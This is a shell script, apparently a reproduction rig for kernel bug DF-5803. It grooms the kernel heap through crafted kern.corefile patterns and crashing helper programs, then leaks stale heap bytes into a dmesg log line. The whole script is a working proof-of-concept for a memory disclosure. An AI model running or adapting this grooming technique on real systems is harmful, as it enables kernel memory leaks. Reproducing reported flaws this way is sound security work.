DF-5803 / groom_rig.sh
#!/bin/sh # DF-5803 deterministic groom+trigger rig (run inside guest). # # 1. root sets kern.corefile = (FILL)x'S' + "%P" where FILL makes the # successful expansion of the groomer crash exactly 1023 chars # (temp[1023] = NUL). groomer crashes -> expand_name kmalloc(1025) # [2048 bucket], writes 1023 chars + NUL, kfrees. # 2. root sets kern.corefile = 1020xA + "%N"; crashy crashes -> # expand_name gets the SAME chunk (per-CPU LIFO), overwrites [0..1019] # with 'A', hits the overflow at %N and log()s temp via %s: # -> temp[1020..1022] still holds the groomer's pid digits (LEAK), # NUL at 1023 (groom's terminator) stops %s. # # Success criterion: log line "Path `AAAA...<3 pid digits>crashy' is too long" # i.e. NON-'A' bytes between the 1020-char prefix and the comm name. set -e GROOMER_PID_FILE=/tmp/groomer_pid groom_once() { # compute filler so that filler + len(pid) == 1023 pid=$(cat $GROOMER_PID_FILE) pl=${#pid} fill=$((1023 - pl)) CF="$(printf 'S%.0s' $(seq 1 $fill))%P" sysctl -w kern.corefile="$CF" >/dev/null ( cd /tmp && ulimit -c unlimited && ./groomer >/dev/null 2>&1 ) || true } attempt() { # fresh groomer pid each round (pid recorded via its own output) ( cd /tmp && ulimit -c unlimited && ./groomer > $GROOMER_PID_FILE.groom 2>&1 ) || true pid=$(sed -n 's/.*pid=\([0-9]*\).*/\1/p' $GROOMER_PID_FILE.groom) [ -n "$pid" ] || return 1 echo "$pid" > $GROOMER_PID_FILE groom_once # trigger CF="$(printf 'A%.0s' $(seq 1 1020))%N" sysctl -w kern.corefile="$CF" >/dev/null ( cd /tmp && ulimit -c unlimited && ./crashy >/dev/null 2>&1 ) || true sleep 0.3 } case "$1" in setup) cc -O -o /tmp/groomer /tmp/groomer.c cc -O -o /tmp/crashy /tmp/crashy.c rm -f /tmp/groom.core /home/maxx/groomer* /home/maxx/crashy* echo SETUP_OK ;; run) dmesg | grep -a "too long" | while read -r l; do dmesg -c >/dev/null 2>&1; break; done 2>/dev/null || true i=0 while [ $i -lt ${2:-12} ]; do i=$((i+1)) attempt || continue out=$(dmesg | grep -a "too long" | tail -1) if [ -n "$out" ]; then # strip the 1020 'A' prefix; what remains before 'crashy' is leaked heap tail=$(printf '%s' "$out" | sed 's/^.*Path `.//' | cut -c1021-) echo "attempt $i: ${tail:-<none>}" case "$tail" in crashy\'*) : ;; # clean: NUL right at 1020 *crashy\'*) echo "LEAK_DETECTED"; exit 0 ;; *) : ;; esac fi done echo NO_LEAK_IN_THIS_BATCH ;; restore) sysctl -w kern.corefile="%N.core" >/dev/null rm -f /home/maxx/*.core /tmp/*.core /home/maxx/groomer* /home/maxx/crashy* 2>/dev/null || true echo RESTORED ;; esac |